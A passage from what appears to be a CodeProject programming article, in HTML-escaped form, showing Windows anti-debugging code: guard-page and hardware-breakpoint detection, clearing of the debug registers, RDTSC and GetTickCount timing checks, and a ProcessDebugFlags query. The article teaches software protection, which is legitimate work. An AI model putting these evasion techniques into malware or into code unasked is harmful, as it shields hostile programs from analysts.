NULL;&lt;br /&gt;    SYSTEM_INFO sysinfo = {&lt;span class="code-digit"&gt;0&lt;/span&gt;};&lt;br /&gt;    DWORD OldProtect = &lt;span class="code-digit"&gt;0&lt;/span&gt;;&lt;br /&gt;    &lt;span class="code-keyword"&gt;void&lt;/span&gt; *pAllocation = NULL; &lt;span class="code-comment"&gt;//&lt;/span&gt;&lt;span class="code-comment"&gt; Get the page size for the system &lt;/span&gt;&lt;br /&gt;&lt;br /&gt;   GetSystemInfo(&amp;amp;sysinfo); &lt;span class="code-comment"&gt;//&lt;/span&gt;&lt;span class="code-comment"&gt; Allocate memory &lt;/span&gt;&lt;br /&gt;&lt;br /&gt;   pAllocation = VirtualAlloc(NULL, sysinfo.dwPageSize,&lt;br /&gt;                       MEM_COMMIT | MEM_RESERVE,&lt;br /&gt;                        PAGE_EXECUTE_READWRITE);&lt;br /&gt;      &lt;br /&gt;   &lt;span class="code-keyword"&gt;if&lt;/span&gt; (pAllocation == NULL)&lt;br /&gt;       &lt;span class="code-keyword"&gt;return&lt;/span&gt; &lt;span class="code-keyword"&gt;false&lt;/span&gt;;&lt;br /&gt;  &lt;br /&gt;   &lt;span class="code-comment"&gt;//&lt;/span&gt;&lt;span class="code-comment"&gt; Write a ret to the buffer (opcode 0xc3)&lt;/span&gt;&lt;br /&gt;   pMem = (&lt;span class="code-keyword"&gt;unsigned&lt;/span&gt; &lt;span class="code-keyword"&gt;char&lt;/span&gt;*)pAllocation;&lt;br /&gt;   *pMem = 0xc3;&lt;br /&gt;  &lt;br /&gt;   &lt;span class="code-comment"&gt;//&lt;/span&gt;&lt;span class="code-comment"&gt; Make the page a guard page         &lt;/span&gt;&lt;br /&gt;   &lt;span class="code-keyword"&gt;if&lt;/span&gt; (VirtualProtect(pAllocation, sysinfo.dwPageSize,&lt;br /&gt;                   PAGE_EXECUTE_READWRITE | PAGE_GUARD,&lt;br /&gt;                   &amp;amp;OldProtect) == &lt;span class="code-digit"&gt;0&lt;/span&gt;)&lt;br /&gt;   {&lt;br /&gt;       &lt;span class="code-keyword"&gt;return&lt;/span&gt; &lt;span class="code-keyword"&gt;false&lt;/span&gt;;&lt;br /&gt;   }&lt;br /&gt;  &lt;br /&gt;   &lt;span class="code-keyword"&gt;__try&lt;/span&gt;&lt;br /&gt;   {&lt;br /&gt;       &lt;span class="code-keyword"&gt;__asm&lt;/span&gt;&lt;br /&gt;       {&lt;br /&gt;           mov eax, pAllocation&lt;br /&gt;           &lt;span class="code-comment"&gt;//&lt;/span&gt;&lt;span class="code-comment"&gt; This is the address we'll return to if we're under a debugger&lt;/span&gt;&lt;br /&gt;           push MemBpBeingDebugged&lt;br /&gt;           jmp eax &lt;span class="code-comment"&gt;//&lt;/span&gt;&lt;span class="code-comment"&gt; Exception or execution, which shall it be :D?&lt;/span&gt;&lt;br /&gt;       }&lt;br /&gt;   }&lt;br /&gt;   &lt;span class="code-keyword"&gt;__except&lt;/span&gt;(EXCEPTION_EXECUTE_HANDLER)&lt;br /&gt;   {&lt;br /&gt;       &lt;span class="code-comment"&gt;//&lt;/span&gt;&lt;span class="code-comment"&gt; The exception occured and no debugger was detected&lt;/span&gt;&lt;br /&gt;       VirtualFree(pAllocation, NULL, MEM_RELEASE);&lt;br /&gt;       &lt;span class="code-keyword"&gt;return&lt;/span&gt; &lt;span class="code-keyword"&gt;false&lt;/span&gt;;&lt;br /&gt;   }    &lt;br /&gt;  &lt;br /&gt;   &lt;span class="code-keyword"&gt;__asm&lt;/span&gt;{MemBpBeingDebugged:}&lt;br /&gt;   VirtualFree(pAllocation, NULL, MEM_RELEASE);&lt;br /&gt;   &lt;span class="code-keyword"&gt;return&lt;/span&gt; &lt;span class="code-keyword"&gt;true&lt;/span&gt;;&lt;br /&gt;}&lt;/span&gt;&lt;/pre&gt; &lt;h3 style="font-family: arial;"&gt;&lt;span style="font-size:85%;"&gt;&lt;a target="_blank" class="con_link" name="BpHardware"&gt;&lt;/a&gt;Hardware Breakpoints&lt;/span&gt;&lt;/h3&gt; &lt;p style="font-family: arial;"&gt;&lt;span style="font-size:85%;"&gt;Hardware breakpoints are a technology implemented by Intel in their processor architecture, and are controlled by the use of special registers known as Dr0-Dr7. Dr0 through Dr3 are 32 bit registers that hold the address of the breakpoint. Dr4 and 5 are reserved by Intel for debugging the other registers, and Dr6 and 7 are used to control the behavior of the breakpoints (Intel1). There is a little bit too much information for me to cover how the Dr6 and Dr7 registers affect breakpoint behavior. However, anyone who is interested should read the Intel® 64 and IA-32 Architectures Software Developer's Manual Volume 3B: System Programming Guide for an in-depth explanation of how the registers work.&lt;/span&gt;&lt;/p&gt; &lt;p style="font-family: arial;"&gt;&lt;span style="font-size:85%;"&gt;Now, in order to detect and/or remove hardware breakpoints, there are two methods we can utilize: the Win32 &lt;code&gt;GetThreadContext&lt;/code&gt; and &lt;code&gt;SetThreadContext&lt;/code&gt;, or using Structured Exception Handling. In the first example, I'll show how to use the Win32 API functions:&lt;/span&gt;&lt;/p&gt; &lt;div class="SmallText" id="premain3" style="width: 100%; font-family: arial;"&gt;&lt;span style="font-size:85%;"&gt;&lt;img src="http://www.codeproject.com/images/minus.gif" style="cursor: pointer;" onclick="popview(this)" width="9" height="9" /&gt;&lt;span id="precollapse3" style="margin-bottom: 0px; cursor: pointer;" preid="3"&gt; Collapse&lt;/span&gt;&lt;img src="http://www.codeproject.com/images/copy_16.png" style="cursor: pointer; margin-left: 35px;" onclick="popview(this)" width="16" height="16" /&gt;&lt;a target="_blank" class="con_link" href="http://www.codeproject.com/KB/security/AntiReverseEngineering.aspx#" preid="3"&gt; Copy Code&lt;/a&gt;&lt;/span&gt;&lt;/div&gt;&lt;pre id="pre3" style="margin-top: 0px; font-family: arial;" lang="cpp"&gt;&lt;span style="font-size:85%;"&gt;&lt;span class="code-comment"&gt;//&lt;/span&gt;&lt;span class="code-comment"&gt; CheckHardwareBreakpoints returns the number of hardware &lt;/span&gt;&lt;br /&gt;&lt;span class="code-comment"&gt;//&lt;/span&gt;&lt;span class="code-comment"&gt; breakpoints detected and on failure it returns -1.&lt;/span&gt;&lt;br /&gt;&lt;span class="code-keyword"&gt;int&lt;/span&gt; CheckHardwareBreakpoints()&lt;br /&gt;{&lt;br /&gt;   &lt;span class="code-keyword"&gt;unsigned&lt;/span&gt; &lt;span class="code-keyword"&gt;int&lt;/span&gt; NumBps = &lt;span class="code-digit"&gt;0&lt;/span&gt;;&lt;br /&gt;&lt;br /&gt;   &lt;span class="code-comment"&gt;//&lt;/span&gt;&lt;span class="code-comment"&gt; This structure is key to the function and is the &lt;/span&gt;&lt;br /&gt;   &lt;span class="code-comment"&gt;//&lt;/span&gt;&lt;span class="code-comment"&gt; medium for detection and removal&lt;/span&gt;&lt;br /&gt;   CONTEXT ctx;&lt;br /&gt;   ZeroMemory(&amp;amp;ctx, &lt;span class="code-keyword"&gt;sizeof&lt;/span&gt;(CONTEXT));&lt;br /&gt;  &lt;br /&gt;   &lt;span class="code-comment"&gt;//&lt;/span&gt;&lt;span class="code-comment"&gt; The CONTEXT structure is an in/out parameter therefore we have&lt;/span&gt;&lt;br /&gt;   &lt;span class="code-comment"&gt;//&lt;/span&gt;&lt;span class="code-comment"&gt; to set the flags so Get/SetThreadContext knows what to set or get.&lt;/span&gt;&lt;br /&gt;   ctx.ContextFlags = CONTEXT_DEBUG_REGISTERS;&lt;br /&gt;  &lt;br /&gt;   &lt;span class="code-comment"&gt;//&lt;/span&gt;&lt;span class="code-comment"&gt; Get a handle to our thread&lt;/span&gt;&lt;br /&gt;   HANDLE hThread = GetCurrentThread();&lt;br /&gt;&lt;br /&gt;   &lt;span class="code-comment"&gt;//&lt;/span&gt;&lt;span class="code-comment"&gt; Get the registers&lt;/span&gt;&lt;br /&gt;   &lt;span class="code-keyword"&gt;if&lt;/span&gt;(GetThreadContext(hThread, &amp;amp;ctx) == &lt;span class="code-digit"&gt;0&lt;/span&gt;)&lt;br /&gt;       &lt;span class="code-keyword"&gt;return&lt;/span&gt; -&lt;span class="code-digit"&gt;1&lt;/span&gt;;&lt;br /&gt;&lt;br /&gt;   &lt;span class="code-comment"&gt;//&lt;/span&gt;&lt;span class="code-comment"&gt; Now we can check for hardware breakpoints, its not &lt;/span&gt;&lt;br /&gt;   &lt;span class="code-comment"&gt;//&lt;/span&gt;&lt;span class="code-comment"&gt; necessary to check Dr6 and Dr7, however feel free to&lt;/span&gt;&lt;br /&gt;   &lt;span class="code-keyword"&gt;if&lt;/span&gt;(ctx.Dr0 != &lt;span class="code-digit"&gt;0&lt;/span&gt;)&lt;br /&gt;       ++NumBps;&lt;br /&gt;   &lt;span class="code-keyword"&gt;if&lt;/span&gt;(ctx.Dr1 != &lt;span class="code-digit"&gt;0&lt;/span&gt;)&lt;br /&gt;          ++NumBps;&lt;br /&gt;   &lt;span class="code-keyword"&gt;if&lt;/span&gt;(ctx.Dr2 != &lt;span class="code-digit"&gt;0&lt;/span&gt;)&lt;br /&gt;          ++NumBps;&lt;br /&gt;   &lt;span class="code-keyword"&gt;if&lt;/span&gt;(ctx.Dr3 != &lt;span class="code-digit"&gt;0&lt;/span&gt;)&lt;br /&gt;       ++NumBps;&lt;br /&gt;      &lt;br /&gt;   &lt;span class="code-keyword"&gt;return&lt;/span&gt; NumBps;&lt;br /&gt;}&lt;/span&gt;&lt;/pre&gt; &lt;p style="font-family: arial;"&gt;&lt;span style="font-size:85%;"&gt;The SEH method of manipulating the debug registers is much more commonly seen in anti-reverse engineering programs, and is implemented easier in ASM, as shown in the following example:&lt;/span&gt;&lt;/p&gt; &lt;div class="SmallText" id="premain4" style="width: 100%; font-family: arial;"&gt;&lt;span style="font-size:85%;"&gt;&lt;img src="http://www.codeproject.com/images/minus.gif" style="cursor: pointer;" onclick="popview(this)" width="9" height="9" /&gt;&lt;span id="precollapse4" style="margin-bottom: 0px; cursor: pointer;" preid="4"&gt; Collapse&lt;/span&gt;&lt;img src="http://www.codeproject.com/images/copy_16.png" style="cursor: pointer; margin-left: 35px;" onclick="popview(this)" width="16" height="16" /&gt;&lt;a target="_blank" class="con_link" href="http://www.codeproject.com/KB/security/AntiReverseEngineering.aspx#" preid="4"&gt; Copy Code&lt;/a&gt;&lt;/span&gt;&lt;/div&gt;&lt;pre id="pre4" style="margin-top: 0px; font-family: arial;" lang="asm"&gt;&lt;span style="font-size:85%;"&gt;&lt;span class="code-comment"&gt;;&lt;/span&gt;&lt;span class="code-comment"&gt; One quick note about this little prelude; in Visual Studio 2008 &lt;/span&gt;&lt;br /&gt;&lt;span class="code-comment"&gt;;&lt;/span&gt;&lt;span class="code-comment"&gt; release builds are compiled with the /SAFESEH flag which helps&lt;/span&gt;&lt;br /&gt;&lt;span class="code-comment"&gt;;&lt;/span&gt;&lt;span class="code-comment"&gt; prevent exploitation of SEH by shellcode and the likes.&lt;/span&gt;&lt;br /&gt;&lt;span class="code-comment"&gt;;&lt;/span&gt;&lt;span class="code-comment"&gt; What this little snippet does is add our SEH Handler to a&lt;/span&gt;&lt;br /&gt;&lt;span class="code-comment"&gt;;&lt;/span&gt;&lt;span class="code-comment"&gt; special table containing a list of "safe" exceptions handlers , which&lt;/span&gt;&lt;br /&gt;&lt;span class="code-comment"&gt;;&lt;/span&gt;&lt;span class="code-comment"&gt; if we didn't in release builds our handler would never be called,&lt;/span&gt;&lt;br /&gt;&lt;span class="code-comment"&gt;;&lt;/span&gt;&lt;span class="code-comment"&gt; this problem plauged me for a long time, and im considering writing&lt;/span&gt;&lt;br /&gt;&lt;span class="code-comment"&gt;;&lt;/span&gt;&lt;span class="code-comment"&gt; a short article on it&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;ClrHwBpHandler proto&lt;br /&gt;.safeseh ClrHwBpHandler&lt;br /&gt;&lt;br /&gt;ClearHardwareBreakpoints proc&lt;br /&gt;    assume fs:nothing&lt;br /&gt;    &lt;span class="code-keyword"&gt;push&lt;/span&gt; offset ClrHwBpHandler&lt;br /&gt;   &lt;span class="code-keyword"&gt;push&lt;/span&gt; fs:[&lt;span class="code-digit"&gt;0&lt;/span&gt;]&lt;br /&gt;   &lt;span class="code-keyword"&gt;mov&lt;/span&gt; &lt;span class="code-keyword"&gt;dword&lt;/span&gt; &lt;span class="code-keyword"&gt;ptr&lt;/span&gt; fs:[&lt;span class="code-digit"&gt;0&lt;/span&gt;], esp &lt;span class="code-comment"&gt;;&lt;/span&gt;&lt;span class="code-comment"&gt; Setup SEH&lt;/span&gt;&lt;br /&gt;    &lt;span class="code-keyword"&gt;xor&lt;/span&gt; eax, &lt;span class="code-keyword"&gt;eax&lt;/span&gt;&lt;br /&gt;    div &lt;span class="code-keyword"&gt;eax&lt;/span&gt; &lt;span class="code-comment"&gt;;&lt;/span&gt;&lt;span class="code-comment"&gt; Cause an exception&lt;/span&gt;&lt;br /&gt;    &lt;span class="code-keyword"&gt;pop&lt;/span&gt; &lt;span class="code-keyword"&gt;dword&lt;/span&gt; &lt;span class="code-keyword"&gt;ptr&lt;/span&gt; fs:[&lt;span class="code-digit"&gt;0&lt;/span&gt;] &lt;span class="code-comment"&gt;;&lt;/span&gt;&lt;span class="code-comment"&gt; Execution continues here&lt;/span&gt;&lt;br /&gt;    &lt;span class="code-keyword"&gt;add&lt;/span&gt; esp, &lt;span class="code-digit"&gt;4&lt;/span&gt;&lt;br /&gt;    &lt;span class="code-keyword"&gt;ret&lt;/span&gt;&lt;br /&gt;ClearHardwareBreakpoints endp&lt;br /&gt;&lt;br /&gt;ClrHwBpHandler proc&lt;br /&gt;    &lt;span class="code-keyword"&gt;xor&lt;/span&gt; eax, &lt;span class="code-keyword"&gt;eax&lt;/span&gt;&lt;br /&gt;   &lt;span class="code-keyword"&gt;mov&lt;/span&gt; ecx, [esp + 0ch] &lt;span class="code-comment"&gt;;&lt;/span&gt;&lt;span class="code-comment"&gt; This is a CONTEXT structure on the stack&lt;/span&gt;&lt;br /&gt;    &lt;span class="code-keyword"&gt;mov&lt;/span&gt; &lt;span class="code-keyword"&gt;dword&lt;/span&gt; &lt;span class="code-keyword"&gt;ptr&lt;/span&gt; [&lt;span class="code-keyword"&gt;ecx&lt;/span&gt; + 04h], &lt;span class="code-keyword"&gt;eax&lt;/span&gt; &lt;span class="code-comment"&gt;;&lt;/span&gt;&lt;span class="code-comment"&gt; Dr0&lt;/span&gt;&lt;br /&gt;    &lt;span class="code-keyword"&gt;mov&lt;/span&gt; &lt;span class="code-keyword"&gt;dword&lt;/span&gt; &lt;span class="code-keyword"&gt;ptr&lt;/span&gt; [&lt;span class="code-keyword"&gt;ecx&lt;/span&gt; + 08h], &lt;span class="code-keyword"&gt;eax&lt;/span&gt; &lt;span class="code-comment"&gt;;&lt;/span&gt;&lt;span class="code-comment"&gt; Dr1&lt;/span&gt;&lt;br /&gt;    &lt;span class="code-keyword"&gt;mov&lt;/span&gt; &lt;span class="code-keyword"&gt;dword&lt;/span&gt; &lt;span class="code-keyword"&gt;ptr&lt;/span&gt; [&lt;span class="code-keyword"&gt;ecx&lt;/span&gt; + 0ch], &lt;span class="code-keyword"&gt;eax&lt;/span&gt; &lt;span class="code-comment"&gt;;&lt;/span&gt;&lt;span class="code-comment"&gt; Dr2&lt;/span&gt;&lt;br /&gt;    &lt;span class="code-keyword"&gt;mov&lt;/span&gt; &lt;span class="code-keyword"&gt;dword&lt;/span&gt; &lt;span class="code-keyword"&gt;ptr&lt;/span&gt; [&lt;span class="code-keyword"&gt;ecx&lt;/span&gt; + 10h], &lt;span class="code-keyword"&gt;eax&lt;/span&gt; &lt;span class="code-comment"&gt;;&lt;/span&gt;&lt;span class="code-comment"&gt; Dr3&lt;/span&gt;&lt;br /&gt;    &lt;span class="code-keyword"&gt;mov&lt;/span&gt; &lt;span class="code-keyword"&gt;dword&lt;/span&gt; &lt;span class="code-keyword"&gt;ptr&lt;/span&gt; [&lt;span class="code-keyword"&gt;ecx&lt;/span&gt; + 14h], &lt;span class="code-keyword"&gt;eax&lt;/span&gt; &lt;span class="code-comment"&gt;;&lt;/span&gt;&lt;span class="code-comment"&gt; Dr6&lt;/span&gt;&lt;br /&gt;    &lt;span class="code-keyword"&gt;mov&lt;/span&gt; &lt;span class="code-keyword"&gt;dword&lt;/span&gt; &lt;span class="code-keyword"&gt;ptr&lt;/span&gt; [&lt;span class="code-keyword"&gt;ecx&lt;/span&gt; + 18h], &lt;span class="code-keyword"&gt;eax&lt;/span&gt; &lt;span class="code-comment"&gt;;&lt;/span&gt;&lt;span class="code-comment"&gt; Dr7&lt;/span&gt;&lt;br /&gt;    &lt;span class="code-keyword"&gt;add&lt;/span&gt; &lt;span class="code-keyword"&gt;dword&lt;/span&gt; &lt;span class="code-keyword"&gt;ptr&lt;/span&gt; [&lt;span class="code-keyword"&gt;ecx&lt;/span&gt; + 0b8h], &lt;span class="code-digit"&gt;2&lt;/span&gt; &lt;span class="code-comment"&gt;;&lt;/span&gt;&lt;span class="code-comment"&gt; We add 2 to EIP to skip the div eax&lt;/span&gt;&lt;br /&gt;    &lt;span class="code-keyword"&gt;ret&lt;/span&gt;&lt;br /&gt;ClrHwBpHandler endp&lt;/span&gt;&lt;/pre&gt; &lt;h2 style="font-family: arial;"&gt;&lt;span style="font-size:85%;"&gt;&lt;a target="_blank" class="con_link" name="TimingA"&gt;&lt;/a&gt;Timing Attacks&lt;/span&gt;&lt;/h2&gt; &lt;p style="font-family: arial;"&gt;&lt;span style="font-size:85%;"&gt;The theory behind timing attacks is that executing a section of code, especially a small section, should only take a miniscule amount of time. Therefore, if a timed section of code takes a greater amount of time than a certain set limit, then there is most likely a debugger attached, and someone is stepping through the code. This genre of attacks has many small variations, and the most common example uses the IA-32 &lt;code lang="asm"&gt;RDTSC&lt;/code&gt; instruction. Other methods utilize different timing methods such as &lt;code&gt;timeGetTime&lt;/code&gt;, &lt;code&gt;GetTickCount&lt;/code&gt;, and &lt;code&gt;QueryPerformanceCounter&lt;/code&gt;.&lt;/span&gt;&lt;/p&gt; &lt;h3 style="font-family: arial;"&gt;&lt;span style="font-size:85%;"&gt;&lt;a target="_blank" class="con_link" name="TimingArdtsc"&gt;&lt;/a&gt;RDTSC&lt;/span&gt;&lt;/h3&gt; &lt;p style="font-family: arial;"&gt;&lt;span style="font-size:85%;"&gt;&lt;a target="_blank" class="con_link" href="http://faydoc.tripod.com/cpu/rdtsc.htm"&gt;&lt;code lang="asm"&gt;RDTSC&lt;/code&gt;&lt;/a&gt; is an IA-32 instruction that stands for Read Time-Stamp Counter, which is pretty self-explanatory in itself. Processors since the Pentium have had a counter attached to the processor that is incremented every clock cycle, and reset to 0 when the processor is reset. As you can see, this is a very powerful timing technique; however, Intel doesn't serialize the instruction; therefore, it is not guaranteed to be 100% accurate. This is why Microsoft encourages the use of its Win32 timing APIs since they're supposed to be as accurate as Windows can guarantee. The great thing about timing attacks, in general, though is that implementing the technique is rather simple; all a developer needs to do is decide which functions he or she would like to protect using a timing attack, and then he or she can simply surround the blocks of code in a timing block and can compare that to a programmer set limit, and can exit the program if the timed section takes too much time to execute. Here is an example:&lt;/span&gt;&lt;/p&gt; &lt;div class="SmallText" id="premain5" style="width: 100%; font-family: arial;"&gt;&lt;span style="font-size:85%;"&gt;&lt;img src="http://www.codeproject.com/images/minus.gif" style="cursor: pointer;" onclick="popview(this)" width="9" height="9" /&gt;&lt;span id="precollapse5" style="margin-bottom: 0px; cursor: pointer;" preid="5"&gt; Collapse&lt;/span&gt;&lt;img src="http://www.codeproject.com/images/copy_16.png" style="cursor: pointer; margin-left: 35px;" onclick="popview(this)" width="16" height="16" /&gt;&lt;a target="_blank" class="con_link" href="http://www.codeproject.com/KB/security/AntiReverseEngineering.aspx#" preid="5"&gt; Copy Code&lt;/a&gt;&lt;/span&gt;&lt;/div&gt;&lt;pre id="pre5" style="margin-top: 0px; font-family: arial;" lang="cpp"&gt;&lt;span style="font-size:85%;"&gt;&lt;span class="code-preprocessor"&gt;#define&lt;/span&gt; SERIAL_THRESHOLD 0x10000 &lt;span class="code-comment"&gt;//&lt;/span&gt;&lt;span class="code-comment"&gt; 10,000h ticks&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;DWORD GenerateSerial(TCHAR* pName)&lt;br /&gt;{&lt;br /&gt;   DWORD LocalSerial = &lt;span class="code-digit"&gt;0&lt;/span&gt;;&lt;br /&gt;&lt;br /&gt;   DWORD RdtscLow = &lt;span class="code-digit"&gt;0&lt;/span&gt;; &lt;span class="code-comment"&gt;//&lt;/span&gt;&lt;span class="code-comment"&gt; TSC Low&lt;/span&gt;&lt;br /&gt;   &lt;span class="code-keyword"&gt;__asm&lt;/span&gt;&lt;br /&gt;   {&lt;br /&gt;       rdtsc&lt;br /&gt;       mov RdtscLow, eax&lt;br /&gt;   }&lt;br /&gt;  &lt;br /&gt;   size_t strlen = _tcslen(pName);&lt;br /&gt;  &lt;br /&gt;   &lt;span class="code-comment"&gt;//&lt;/span&gt;&lt;span class="code-comment"&gt; Generate serial &lt;/span&gt;&lt;br /&gt;&lt;br /&gt;   &lt;span class="code-keyword"&gt;for&lt;/span&gt;(&lt;span class="code-keyword"&gt;unsigned&lt;/span&gt; &lt;span class="code-keyword"&gt;int&lt;/span&gt; i = &lt;span class="code-digit"&gt;0&lt;/span&gt;; i &lt;span class="code-keyword"&gt;&lt;&lt;/span&gt; strlen; i++)&lt;br /&gt;   {&lt;br /&gt;       LocalSerial += (DWORD) pName[i];&lt;br /&gt;       LocalSerial ^= 0xDEADBEEF;&lt;br /&gt;   }&lt;br /&gt;&lt;br /&gt;   &lt;span class="code-keyword"&gt;__asm&lt;/span&gt;&lt;br /&gt;   {&lt;br /&gt;       rdtsc&lt;br /&gt;       sub eax, RdtscLow&lt;br /&gt;       cmp eax, SERIAL_THRESHOLD&lt;br /&gt;       jbe NotDebugged&lt;br /&gt;       push &lt;span class="code-digit"&gt;0&lt;/span&gt;&lt;br /&gt;       call ExitProcess&lt;br /&gt;       NotDebugged:&lt;br /&gt;   }&lt;br /&gt;   &lt;span class="code-keyword"&gt;return&lt;/span&gt; LocalSerial;&lt;br /&gt;}&lt;/span&gt;&lt;/pre&gt; &lt;h3 style="font-family: arial;"&gt;&lt;span style="font-size:85%;"&gt;&lt;a target="_blank" class="con_link" name="TimingAWin32"&gt;&lt;/a&gt;Win32 Timing Functions&lt;/span&gt;&lt;/h3&gt; &lt;p style="font-family: arial;"&gt;&lt;span style="font-size:85%;"&gt;The concepts are exactly the same in this variation except that we have different means of timing our function. In the following example, &lt;code&gt;GetTickCount&lt;/code&gt; is used, but as commented, could be replaced with &lt;code&gt;timeGetTime&lt;/code&gt; or &lt;code&gt;QueryPerformanceCounter&lt;/code&gt;.&lt;/span&gt;&lt;/p&gt; &lt;div class="SmallText" id="premain6" style="width: 100%; font-family: arial;"&gt;&lt;span style="font-size:85%;"&gt;&lt;img src="http://www.codeproject.com/images/minus.gif" style="cursor: pointer;" onclick="popview(this)" width="9" height="9" /&gt;&lt;span id="precollapse6" style="margin-bottom: 0px; cursor: pointer;" preid="6"&gt; Collapse&lt;/span&gt;&lt;img src="http://www.codeproject.com/images/copy_16.png" style="cursor: pointer; margin-left: 35px;" onclick="popview(this)" width="16" height="16" /&gt;&lt;a target="_blank" class="con_link" href="http://www.codeproject.com/KB/security/AntiReverseEngineering.aspx#" preid="6"&gt; Copy Code&lt;/a&gt;&lt;/span&gt;&lt;/div&gt;&lt;pre id="pre6" style="margin-top: 0px; font-family: arial;" lang="cpp"&gt;&lt;span style="font-size:85%;"&gt;&lt;span class="code-preprocessor"&gt;#define&lt;/span&gt; SERIAL_THRESHOLD 0x10000 &lt;span class="code-comment"&gt;//&lt;/span&gt;&lt;span class="code-comment"&gt; 10,000h ticks&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;GenerateSerialWin32Attack(TCHAR* pName)&lt;br /&gt;{&lt;br /&gt;   DWORD LocalSerial = &lt;span class="code-digit"&gt;0&lt;/span&gt;;&lt;br /&gt;   size_t strlen = _tcslen(pName);&lt;br /&gt;&lt;br /&gt;   DWORD Counter = GetTickCount(); &lt;span class="code-comment"&gt;//&lt;/span&gt;&lt;span class="code-comment"&gt; Could be replaced with timeGetTime()&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;    &lt;span class="code-comment"&gt;//&lt;/span&gt;&lt;span class="code-comment"&gt; Generate serial &lt;/span&gt;&lt;br /&gt;   &lt;span class="code-keyword"&gt;for&lt;/span&gt;(&lt;span class="code-keyword"&gt;unsigned&lt;/span&gt; &lt;span class="code-keyword"&gt;int&lt;/span&gt; i = &lt;span class="code-digit"&gt;0&lt;/span&gt;; i &lt;span class="code-keyword"&gt;&lt;&lt;/span&gt; strlen; i++)&lt;br /&gt;   {&lt;br /&gt;       LocalSerial += (DWORD) pName[i];&lt;br /&gt;       LocalSerial ^= 0xDEADBEEF;&lt;br /&gt;   }&lt;br /&gt;  &lt;br /&gt;   Counter = GetTickCount() - Counter; &lt;span class="code-comment"&gt;//&lt;/span&gt;&lt;span class="code-comment"&gt; Could be replaced with timeGetTime() &lt;/span&gt;&lt;br /&gt;   &lt;span class="code-keyword"&gt;if&lt;/span&gt;(Counter &lt;span class="code-keyword"&gt;&gt;&lt;/span&gt;= SERIAL_THRESHOLD)&lt;br /&gt;       ExitProcess(&lt;span class="code-digit"&gt;0&lt;/span&gt;);&lt;br /&gt;  &lt;br /&gt;   &lt;span class="code-keyword"&gt;return&lt;/span&gt; LocalSerial;&lt;br /&gt;}&lt;/span&gt;&lt;/pre&gt; &lt;h2 style="font-family: arial;"&gt;&lt;span style="font-size:85%;"&gt;&lt;a target="_blank" class="con_link" id="WindowsInternals" name="WindowsInternals"&gt;&lt;/a&gt;Windows Internals&lt;/span&gt;&lt;/h2&gt; &lt;p style="font-family: arial;"&gt;&lt;span style="font-size:85%;"&gt;The following methods of anti-reverse engineering utilize the peculiarities of the Windows Operating System in order to implement some sort of protection, ranging from hiding a thread from a debugger, to revealing the presence of a debugger. Many of the functions used in the following examples are exported from &lt;em&gt;ntdll.dll&lt;/em&gt;, and are not guarenteed by Microsoft to behave consistently in different versions of the Operating System. Therefore, some caution should be taken when using these examples in your own programs. That being said, I have yet to see one of these APIs change drastically in behavior, so do not take the previous statement as a commandment to avoid these implementations.&lt;/span&gt;&lt;/p&gt; &lt;h3 style="font-family: arial;"&gt;&lt;span style="font-size:85%;"&gt;&lt;a target="_blank" class="con_link" name="ProcessDebugFlags"&gt;&lt;/a&gt;ProcessDebugFlags&lt;/span&gt;&lt;/h3&gt; &lt;p style="font-family: arial;"&gt;&lt;span style="font-size:85%;"&gt;The &lt;code&gt;ProcessDebugFlags&lt;/code&gt; (0x1f) is an undocumented class that can be passed to the &lt;code&gt;NtQueryProcessInformation&lt;/code&gt; function. When &lt;code&gt;NtQueryProcessInformation&lt;/code&gt; is called with the &lt;code&gt;ProcessDebugFlags&lt;/code&gt; class, the function will return the inverse of &lt;code&gt;EPROCESS-&lt;span class="code-keyword"&gt;&gt;&lt;/span&gt;NoDebugInherit&lt;/code&gt;, which means that if a debugger is present, then this function will return &lt;code&gt;FALSE&lt;/code&gt; if the process is being debugged. Here's the &lt;code&gt;CheckProcessDebugFlags&lt;/code&gt;:&lt;/span&gt;&lt;/p&gt; &lt;div class="SmallText" id="premain7" style="width: 100%; font-family: arial;"&gt;&lt;span style="font-size:85%;"&gt;&lt;img src="http://www.codeproject.com/images/minus.gif" style="cursor: pointer;" onclick="popview(this)" width="9" height="9" /&gt;&lt;span id="precollapse7" style="margin-bottom: 0px; cursor: pointer;" preid="7"&gt; Collapse&lt;/span&gt;&lt;img src="http://www.codeproject.com/images/copy_16.png" style="cursor: pointer; margin-left: 35px;" onclick="popview(this)" width="16" height="16" /&gt;&lt;a target="_blank" class="con_link" href="http://www.codeproject.com/KB/security/AntiReverseEngineering.aspx#" preid="7"&gt; Copy Code&lt;/a&gt;&lt;/span&gt;&lt;/div&gt;&lt;pre id="pre7" style="margin-top: 0px; font-family: arial;" lang="cpp"&gt;&lt;span style="font-size:85%;"&gt;&lt;span class="code-comment"&gt;//&lt;/span&gt;&lt;span class="code-comment"&gt; CheckProcessDebugFlags will return true if &lt;/span&gt;&lt;br /&gt;&lt;span class="code-comment"&gt;//&lt;/span&gt;&lt;span class="code-comment"&gt; the EPROCESS-&gt;NoDebugInherit is == FALSE, &lt;/span&gt;&lt;br /&gt;&lt;span class="code-comment"&gt;//&lt;/span&gt;&lt;span class="code-comment"&gt; the reason we check for false is because &lt;/span&gt;&lt;br /&gt;&lt;span class="code-comment"&gt;//&lt;/span&gt;&lt;span class="code-comment"&gt; the NtQueryProcessInformation function returns the&lt;/span&gt;&lt;br /&gt;&lt;span class="code-comment"&gt;//&lt;/span&gt;&lt;span class="code-comment"&gt; inverse of EPROCESS-&gt;NoDebugInherit so (!TRUE == FALSE)&lt;/span&gt;&lt;br /&gt;&lt;span class="code-keyword"&gt;inline&lt;/span&gt; &lt;span class="code-keyword"&gt;bool&lt;/span&gt; CheckProcessDebugFlags()&lt;br /&gt;{&lt;br /&gt;   &lt;span class="code-comment"&gt;//&lt;/span&gt;&lt;span class="code-comment"&gt; Much easier in ASM but C/C++ looks so much better&lt;/span&gt;&lt;br /&gt;   &lt;span class="code-keyword"&gt;typedef&lt;/span&gt; NTSTATUS (WINAPI *pNtQueryInformationProcess)&lt;br /&gt;       (HANDLE ,UINT ,PVOID ,ULONG , PULONG);&lt;br /&gt;&lt;br /&gt;   DWORD NoDebugInherit = &lt;span class="code-digit"&gt;0&lt;/span&gt;;&lt;br /&gt;   NTSTATUS Status;&lt;br /&gt;&lt;br /&gt;   &lt;span class="code-comment"&gt;//&lt;/span&gt;&lt;span class="code-comment"&gt; Get 